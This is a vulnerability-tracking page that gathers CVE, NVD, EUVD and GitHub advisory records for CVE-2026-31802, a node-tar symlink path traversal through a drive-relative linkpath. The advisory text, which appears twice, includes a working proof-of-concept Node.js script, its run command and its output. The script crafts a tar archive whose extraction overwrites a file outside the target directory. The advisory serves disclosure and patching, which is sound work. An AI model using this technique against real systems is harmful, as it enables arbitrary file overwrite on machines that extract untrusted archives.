node-tar Symlink Path Traversal via Drive-Relative Linkpath
cve-program · CVE-2026-31802
Publishednode-tar is a full-featured Tar for Node.js. Prior to version 7.5.11, tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This vulnerability is fixed in 7.5.11.
Read the publisher's advisoryeuvd · EUVD-2026-10403
Publishednode-tar is a full-featured Tar for Node.js. Prior to version 7.5.11, tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This vulnerability is fixed in 7.5.11.
Read the publisher's advisorynvd · CVE-2026-31802
Publishednode-tar is a full-featured Tar for Node.js. Prior to version 7.5.11, tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This vulnerability is fixed in 7.5.11.
Read the publisher's advisoryosv · GHSA-9ppj-qmqm-q256
Published### Summary `tar` (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as `C:../../../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction. ### Details The extraction logic in `Unpack[STRIPABSOLUTEPATH]` validates `..` segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored `linkpath` to the stripped value. What happens with `linkpath: "C:../../../target.txt"`: 1. `stripAbsolutePath()` removes `C:` and rewrites the value to `../../../target.txt`. 2. The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted. 3. Symlink creation uses the rewritten value (`../../../target.txt`) from nested path `a/b/l`. 4. Writing through the extracted symlink overwrites the outside file (`../target.txt`). This is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives. ### PoC Tested on Arch Linux with `[email protected]`. PoC script (`poc.cjs`): ```js const fs = require('fs') const path = require('path') const { Header, x } = require('tar') const cwd = process.cwd() const target = path.resolve(cwd, '..', 'target.txt') const tarFile = path.join(cwd, 'poc.tar') fs.writeFileSync(target, 'ORIGINAL\n') const b = Buffer.alloc(1536) new Header({ path: 'a/b/l', type: 'SymbolicLink', linkpath: 'C:../../../target.txt', }).encode(b, 0) fs.writeFileSync(tarFile, b) x({ cwd, file: tarFile }).then(() => { fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n') process.stdout.write(fs.readFileSync(target, 'utf8')) }) ``` Run: ```bash node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt ``` Observed output: ```text PWNED ../../../target.txt lrwxrwxrwx - joshuavr 7 Mar 18:37 a/b/l -> ../../../target.txt .rw-r--r-- 6 joshuavr 7 Mar 18:37 ../target.txt ``` `PWNED` confirms outside file content overwrite. `readlink` and `ls -l` confirm the extracted symlink points outside the extraction directory. ### Impact This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction. Realistic scenarios: - CLI tools unpacking untrusted tarballs into a working directory - build/update pipelines consuming third-party archives - services that import user-supplied tar files
Read the publisher's advisoryAffected versions, risk and source history
Exploitation and risk
Source statusCISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.
Which CVEs have scores here?
This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.
No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.
cve-program · CVE-2026-31802
Publishednode-tar Symlink Path Traversal via Drive-Relative Linkpath
node-tar is a full-featured Tar for Node.js. Prior to version 7.5.11, tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This vulnerability is fixed in 7.5.11.
- Source published
- 9 Mar 2026 21:11:56 UTC
- Source modified
- 10 Mar 2026 14:56:35 UTC
- Saved here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 4.0 · 8.2 CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N
euvd · EUVD-2026-10403
Publishednode-tar is a full-featured Tar for Node.js. Prior to version 7.5.11, tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, whic…
node-tar is a full-featured Tar for Node.js. Prior to version 7.5.11, tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This vulnerability is fixed in 7.5.11.
Additional publisher context
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Mar 9, 2026, 9:11:56 PM
dateUpdated: Mar 10, 2026, 2:56:35 PM
6 related source bulletins · separate from aliases
msrc_CVE-2026-31802: node-tar Symlink Path Traversal via Drive-Relative Linkpath
CVE-2026-31802
RHSA-2026:21772: Red Hat Security Advisory: Red Hat OpenShift Dev Spaces 3.28.0 Release.
CVE-2025-14813 · CVE-2025-68121 · CVE-2026-0636 · CVE-2026-1525 · CVE-2026-1526 · CVE-2026-1528 · CVE-2026-1605 · CVE-2026-2229 · CVE-2026-2327 · CVE-2026-5588 · CVE-2026-26996 · CVE-2026-27904 · CVE-2026-29074 · CVE-2026-30827 · CVE-2026-31802 · CVE-2026-32141 · CVE-2026-32280 · CVE-2026-32282 · CVE-2026-32305 · CVE-2026-33252 · CVE-2026-33810 · CVE-2026-34742 · CVE-2026-35051 · CVE-2026-39858 · CVE-2026-40477 · CVE-2026-40478 · CVE-2026-40611 · CVE-2026-40895 · CVE-2026-40912 · CVE-2026-40972 · CVE-2026-40973 · CVE-2026-40975 · CVE-2026-41240 · CVE-2026-42033 · CVE-2026-42035 · CVE-2026-42039 · CVE-2026-42041 · CVE-2026-42043 · CVE-2026-42044
WID-SEC-W-2026-1220: IBM App Connect Enterprise: Mehrere Schwachstellen
CVE-2026-26278 · CVE-2026-27601 · CVE-2026-27903 · CVE-2026-27904 · CVE-2026-29786 · CVE-2026-30827 · CVE-2026-31802 · CVE-2026-31988 · CVE-2026-32141 · CVE-2026-33036 · CVE-2026-33228
WID-SEC-W-2026-1229: Atlassian Bamboo, Bitbucket, Confluence, Jira: Mehrere Schwachstellen
CVE-2021-0341 · CVE-2021-31597 · CVE-2022-1471 · CVE-2022-25927 · CVE-2023-1370 · CVE-2023-3635 · CVE-2023-48631 · CVE-2024-29371 · CVE-2024-45801 · CVE-2024-47875 · CVE-2025-48734 · CVE-2025-66020 · CVE-2026-21571 · CVE-2026-22029 · CVE-2026-23745 · CVE-2026-23950 · CVE-2026-24734 · CVE-2026-24842 · CVE-2026-24880 · CVE-2026-25547 · CVE-2026-25639 · CVE-2026-26960 · CVE-2026-29063 · CVE-2026-31802 · CVE-2026-33870 · CVE-2026-33871 · CVE-2026-34487
WID-SEC-W-2026-1608: Atlassian Produkte (Bamboo, Bitbucket, Confluence, Crucible, Fisheye und Jira): Mehrere Schwachstellen
CVE-2019-13990 · CVE-2022-1471 · CVE-2022-23521 · CVE-2022-41903 · CVE-2023-22518 · CVE-2023-22522 · CVE-2023-22523 · CVE-2023-22524 · CVE-2023-22527 · CVE-2023-24998 · CVE-2023-46604 · CVE-2024-45801 · CVE-2025-52999 · CVE-2025-67030 · CVE-2026-22029 · CVE-2026-22732 · CVE-2026-24734 · CVE-2026-24880 · CVE-2026-25639 · CVE-2026-26960 · CVE-2026-27727 · CVE-2026-27830 · CVE-2026-29062 · CVE-2026-29129 · CVE-2026-29145 · CVE-2026-29146 · CVE-2026-29786 · CVE-2026-31802 · CVE-2026-33750 · CVE-2026-34483 · CVE-2026-34487 · CVE-2026-39304 · CVE-2026-42198 · CVE-2026-5598
WID-SEC-W-2026-2460: Atlassian Bamboo, Bitbucket, Confluence, Fisheye, Crucible, Jira und Jira Service Management: Mehrere Schwachstellen
CVE-2016-10540 · CVE-2020-28282 · CVE-2020-7729 · CVE-2021-22569 · CVE-2021-23358 · CVE-2022-1537 · CVE-2022-3509 · CVE-2022-3510 · CVE-2022-37599 · CVE-2022-37601 · CVE-2022-37603 · CVE-2024-7254 · CVE-2025-11226 · CVE-2025-14813 · CVE-2025-62718 · CVE-2025-69873 · CVE-2026-12143 · CVE-2026-21575 · CVE-2026-21577 · CVE-2026-21579 · CVE-2026-22731 · CVE-2026-2332 · CVE-2026-27830 · CVE-2026-29063 · CVE-2026-29145 · CVE-2026-29146 · CVE-2026-31802 · CVE-2026-33671 · CVE-2026-33870 · CVE-2026-33871 · CVE-2026-34043 · CVE-2026-35554 · CVE-2026-40175 · CVE-2026-42033 · CVE-2026-42035 · CVE-2026-42041 · CVE-2026-42043 · CVE-2026-42044 · CVE-2026-42198 · CVE-2026-42264 · CVE-2026-42581 · CVE-2026-42583 · CVE-2026-42585 · CVE-2026-42587 · CVE-2026-42588 · CVE-2026-44249 · CVE-2026-44486 · CVE-2026-44487 · CVE-2026-44488 · CVE-2026-44490 · CVE-2026-44492 · CVE-2026-44494 · CVE-2026-44495 · CVE-2026-44496 · CVE-2026-44705 · CVE-2026-45416 · CVE-2026-45505 · CVE-2026-45736 · CVE-2026-46625 · CVE-2026-47838 · CVE-2026-4800 · CVE-2026-48043 · CVE-2026-48779 · CVE-2026-50010 · CVE-2026-5598 · CVE-2026-6321 · CVE-2026-6322
- Source published
- Mar 9, 2026, 9:11:56 PM (timezone not stated)
- Source modified
- Mar 10, 2026, 2:56:35 PM (timezone not stated)
- Saved here
- 15 Nov 2026 09:31:50 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
EUVD CVSS 4.0 · 8.2 CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N
nvd · CVE-2026-31802
Publishednode-tar is a full-featured Tar for Node.js. Prior to version 7.5.11, tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, whic…
node-tar is a full-featured Tar for Node.js. Prior to version 7.5.11, tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This vulnerability is fixed in 7.5.11.
Additional publisher context
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Analyzed
Weakness classifications: CWE-22
Original publisher date fields
published: 2026-03-10T07:44:58.020
lastModified: 2026-06-17T10:34:29.490
1 source CPE criteria · context only
- cpe:2.3:a:isaacs:tar:*:*:*:*:*:node.js:*:*
The original JSON retains the logical configuration operators, exclusions and version bounds.
- Source published
- 10 Mar 2026 07:44:58 UTC
- Source modified
- 17 Jun 2026 10:34:29 UTC
- Saved here
- 25 Oct 2026 07:19:14 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 4.0 · [email protected] · Secondary · 8.2 CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1 · [email protected] · Primary · 5.5 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
osv · GHSA-9ppj-qmqm-q256
Publishednode-tar Symlink Path Traversal via Drive-Relative Linkpath
### Summary `tar` (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as `C:../../../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction. ### Details The extraction logic in `Unpack[STRIPABSOLUTEPATH]` validates `..` segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored `linkpath` to the stripped value. What happens with `linkpath: "C:../../../target.txt"`: 1. `stripAbsolutePath()` removes `C:` and rewrites the value to `../../../target.txt`. 2. The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted. 3. Symlink creation uses the rewritten value (`../../../target.txt`) from nested path `a/b/l`. 4. Writing through the extracted symlink overwrites the outside file (`../target.txt`). This is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives. ### PoC Tested on Arch Linux with `[email protected]`. PoC script (`poc.cjs`): ```js const fs = require('fs') const path = require('path') const { Header, x } = require('tar') const cwd = process.cwd() const target = path.resolve(cwd, '..', 'target.txt') const tarFile = path.join(cwd, 'poc.tar') fs.writeFileSync(target, 'ORIGINAL\n') const b = Buffer.alloc(1536) new Header({ path: 'a/b/l', type: 'SymbolicLink', linkpath: 'C:../../../target.txt', }).encode(b, 0) fs.writeFileSync(tarFile, b) x({ cwd, file: tarFile }).then(() => { fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n') process.stdout.write(fs.readFileSync(target, 'utf8')) }) ``` Run: ```bash node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt ``` Observed output: ```text PWNED ../../../target.txt lrwxrwxrwx - joshuavr 7 Mar 18:37 a/b/l -> ../../../target.txt .rw-r--r-- 6 joshuavr 7 Mar 18:37 ../target.txt ``` `PWNED` confirms outside file content overwrite. `readlink` and `ls -l` confirm the extracted symlink points outside the extraction directory. ### Impact This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction. Realistic scenarios: - CLI tools unpacking untrusted tarballs into a working directory - build/update pipelines consuming third-party archives - services that import user-supplied tar files
- Source published
- 10 Mar 2026 23:44:58 UTC
- Source modified
- 10 Sep 2026 03:50:38 UTC
- Saved here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V4 · CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N
Publisher rating · HIGH